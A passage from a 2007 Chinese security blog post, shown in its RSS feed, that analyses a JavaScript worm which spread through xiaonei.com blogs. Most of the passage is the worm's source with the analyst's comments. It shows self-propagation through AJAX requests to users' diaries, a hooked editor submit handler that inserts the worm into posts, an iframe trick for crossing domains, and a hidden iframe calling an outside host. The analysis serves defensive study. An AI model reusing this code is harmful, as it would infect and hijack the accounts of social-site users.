&nbsp;i=DiaryUrlList.indexOf(&quot;|&quot;,0);<br />
&nbsp;if(-1==i)<br />
&nbsp;{<br />
&nbsp;clearInterval(timer);<br />
&nbsp;return;<br />
&nbsp;}</p>
<p>&nbsp;DiaryUrl=DiaryUrlList.substring(0,i);<br />
&nbsp;DiaryUrlList=DiaryUrlList.substring(i+1,DiaryUrlList.length);</p>
<p>&nbsp;loadUrl(DiaryUrl,&quot;GET&quot;,&quot;&quot;);<br />
&nbsp;}<br />
&nbsp;}<br />
&nbsp;function WriteStat()<br />
&nbsp;{<br />
&nbsp;var s=document.createElement(&quot;iframe&quot;);<br />
&nbsp;s.frameborder=&quot;0&quot;;<br />
&nbsp;s.height=&quot;0&quot;;<br />
&nbsp;s.width=&quot;0&quot;;<br />
&nbsp;s.src=&quot;http://www.sosoface.com/images/stat.jpg&quot;;<br />
&nbsp;document.getElementById(&quot;mya113&quot;).parentNode.insertBefore(s,document.getElementById(&quot;mya113&quot;));</p>
<p>&nbsp;}</p>
<p>&nbsp;function DeleteScript(html)<br />
&nbsp;{<br />
&nbsp;var i=0,j=0,str;<br />
&nbsp;<br />
&nbsp;str=html;</p>
<p>&nbsp;i=str.indexOf(&quot;&lt;/A&gt;&quot;,0);<br />
&nbsp;if(-1==i)<br />
&nbsp;return str;<br />
&nbsp;i+=4;<br />
&nbsp;str=str.substring(i,str.length);</p>
<p>&nbsp;return str;<br />
&nbsp;}<br />
&nbsp;function EditorSubmit()<br />
&nbsp;{<br />
&nbsp;var ret=false;<br />
&nbsp;parent.parent.descOptype();<br />
&nbsp;ret=parent.parent.beforeSubmit();</p>
<p>&nbsp;parent.parent.document.getElementById(&quot;body&quot;).value=MyDecode(myrand)+DeleteScript(parent.parent.document.getElementById(&quot;body&quot;).value);</p>
<p>&nbsp;return ret;<br />
&nbsp;}<br />
&nbsp;function Start()<br />
&nbsp;{<br />
&nbsp;//判断是不是blog.xiaonei.com域,由于ajax是不能跨域的，所以判断是必备的<br />
&nbsp;if(&quot;blog.xiaonei.com&quot;==document.domain)<br />
&nbsp;{<br />
&nbsp;//如果是在编辑已感染的日志 就做了一些奇怪的行为，我看不懂，好像是把自己重写了一遍，不知道为什么这样做<br />
&nbsp;if(&quot;http://blog.xiaonei.com/pages/editor/win.htm&quot;==document.location)<br />
&nbsp;{<br />
&nbsp;parent.parent.document.getElementById(&quot;editorForm&quot;).onsubmit=EditorSubmit;<br />
&nbsp;}<br />
&nbsp;else<br />
&nbsp;{<br />
&nbsp;<br />
&nbsp;WriteStat();//这是一个用户流量统计的函数，使用cnzz 站长助手<br />
&nbsp;//下面开始感染了，第一步GetDiaryMonthList，得到日志的按月归档<br />
&nbsp;step=&quot;GetDiaryMonthList&quot;;<br />
&nbsp;loadUrl(&quot;http://blog.xiaonei.com/MyBlog.do&quot;,&quot;GET&quot;,&quot;&quot;);//loadUrl是一个ajax读取页面内容的函数<br />
&nbsp;//下面跳到开头的processReqChange函数<br />
&nbsp;}<br />
&nbsp;}<br />
&nbsp;else if(&quot;xiaonei.com&quot;==document.domain || &quot;www.xiaonei.com&quot;==document.domain)<br />
&nbsp;{<br />
&nbsp;//如果不在blog.xiaonei.com域就写入一个Iframe Iframe的SRC是日志的URL<br />
&nbsp;//这个URL是blog.xiaonei.com域的，就变向的实现了跨域，<br />
&nbsp;//作者这样做应该是为了一访问别人的主页就能感染<br />
&nbsp;var url=&quot;&quot;;<br />
&nbsp;<br />
&nbsp;url=document.location.toString();<br />
&nbsp;if(url.indexOf(&quot;&amp;&quot;)==-1)<br />
&nbsp;return;<br />
&nbsp;step=&quot;WriteIframe&quot;;<br />
&nbsp;loadUrl(url,&quot;GET&quot;,&quot;&quot;);<br />
&nbsp;}<br />
&nbsp;}</p>
<p>&nbsp;Start();</p></div>
<h2  class="related_post_title">相关文章：</h2><ul class="related_post"><li><a href="http://blog.licess.org/%e6%89%8b%e5%8a%a8%e6%b8%85%e9%99%a4chcpexe%e7%97%85%e6%af%92%e4%bf%9d%e6%8a%a4msn%e7%9a%84%e5%ae%89%e5%85%a8/" title="手动清除chcp.exe病毒 保护MSN的安全">手动清除chcp.exe病毒 保护MSN的安全</a></li><li><a href="http://blog.licess.org/%e7%bc%96%e5%86%99autorun%e7%97%85%e6%af%92%e5%85%8d%e7%96%ab%e5%b7%a5%e5%85%b7/" title="编写autorun病毒免疫工具">编写autorun病毒免疫工具</a></li><li><a href="http://blog.licess.org/u%e7%9b%98%28auto%e7%97%85%e6%af%92%29%e7%b1%bb%e7%97%85%e6%af%92%e5%88%86%e6%9e%90%e4%b8%8e%e8%a7%a3%e5%86%b3%e6%96%b9%e6%a1%88/" title="U盘(auto病毒)类病毒分析与解决方案">U盘(auto病毒)类病毒分析与解决方案</a></li><li><a href="http://blog.licess.org/%e4%b8%8d%e8%a6%81%e8%ae%a9%e7%97%85%e6%af%92%e8%bf%b7%e6%83%91%e4%ba%86%e6%82%a8%e7%9a%84%e7%9c%bc%e7%9d%9b/" title="不要让病毒迷惑了您的眼睛">不要让病毒迷惑了您的眼睛</a></li><li><a href="http://blog.licess.org/%e5%8d%81%e7%a7%8d%e6%ad%a6%e5%99%a8%e4%bf%9d%e8%af%81%e4%bd%a0%e7%9a%84%e7%b3%bb%e7%bb%9f%e5%ae%89%e5%85%a8/" title="十种武器保证你的系统安全">十种武器保证你的系统安全</a></li><li><a href="http://blog.licess.org/%e7%a7%bb%e5%8a%a8%e5%ad%98%e5%82%a8%e5%ae%89%e5%85%a8/" title="移动存储安全">移动存储安全</a></li><li><a href="http://blog.licess.org/59/" title="国外的第一只[感染*.swf]flash病毒的源代码">国外的第一只[感染*.swf]flash病毒的源代码</a></li><li><a href="http://blog.licess.org/%e6%8e%a8%e8%8d%90%3a%e6%9d%9c%e7%bb%9darp%e6%ac%ba%e9%aa%97-%e5%88%a9%e7%94%a8lns%e9%98%b2%e8%8c%83arp%e6%ac%ba%e9%aa%97/" title="推荐:杜绝Arp欺骗&#8211;利用Lns防范Arp欺骗">推荐:杜绝Arp欺骗&#8211;利用Lns防范Arp欺骗</a></li><li><a href="http://blog.licess.org/%e6%8f%ad%e7%a7%98%e5%9b%be%e7%89%87%e7%97%85%e6%af%92%e6%8a%80%e6%9c%af%e8%83%8c%e5%90%8e%e7%9a%84%e5%86%85%e5%b9%95/" title="揭秘图片病毒技术背后的内幕">揭秘图片病毒技术背后的内幕</a></li></ul><hr />
<p><small>© licess for <a href="http://blog.licess.org">Licess&#039;s Blog</a>, 2007. |
<a href="http://blog.licess.org/%e4%b8%80%e4%b8%aa%e4%b8%8d%e4%b8%ba%e4%ba%ba%e7%9f%a5%e7%9a%84%e6%84%9f%e6%9f%93%e5%87%a0%e7%99%be%e4%b8%87%e6%a0%a1%e5%86%85%e7%bd%91%e7%94%a8%e6%88%b7%e7%9a%84%e8%a0%95%e8%99%ab%e5%88%86%e6%9e%90/">Permalink</a> |
<a href="http://blog.licess.org/%e4%b8%80%e4%b8%aa%e4%b8%8d%e4%b8%ba%e4%ba%ba%e7%9f%a5%e7%9a%84%e6%84%9f%e6%9f%93%e5%87%a0%e7%99%be%e4%b8%87%e6%a0%a1%e5%86%85%e7%bd%91%e7%94%a8%e6%88%b7%e7%9a%84%e8%a0%95%e8%99%ab%e5%88%86%e6%9e%90/#comments">No comment</a> |
Add to
<a href="http://del.icio.us/post?url=http://blog.licess.org/%e4%b8%80%e4%b8%aa%e4%b8%8d%e4%b8%ba%e4%ba%ba%e7%9f%a5%e7%9a%84%e6%84%9f%e6%9f%93%e5%87%a0%e7%99%be%e4%b8%87%e6%a0%a1%e5%86%85%e7%bd%91%e7%94%a8%e6%88%b7%e7%9a%84%e8%a0%95%e8%99%ab%e5%88%86%e6%9e%90/&title=一个不为人知的感染几百万校内网用户的蠕虫分析">del.icio.us</a>
<br/>
Post tags: <a href="http://blog.licess.org/tag/%e5%ae%89%e5%85%a8/" rel="tag">安全</a>, <a href="http://blog.licess.org/tag/%e7%97%85%e6%af%92/" rel="tag">病毒</a><br/>
<br/>
<img src="http://www.vpser.net/images/tuijian.gif"> <a href="http://www.vpser.net/usa-vps/">美国VPS推荐</a>  | <a href="http://shop63846532.taobao.com/">军哥代购 - 提供美国及海外VPS/VPN/域名代购，美元/欧元代付</a> QQ：503228080
</small></p>]]></content:encoded>
			<wfw:commentRss>http://blog.licess.org/%e4%b8%80%e4%b8%aa%e4%b8%8d%e4%b8%ba%e4%ba%ba%e7%9f%a5%e7%9a%84%e6%84%9f%e6%9f%93%e5%87%a0%e7%99%be%e4%b8%87%e6%a0%a1%e5%86%85%e7%bd%91%e7%94%a8%e6%88%b7%e7%9a%84%e8%a0%95%e8%99%ab%e5%88%86%e6%9e%90/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

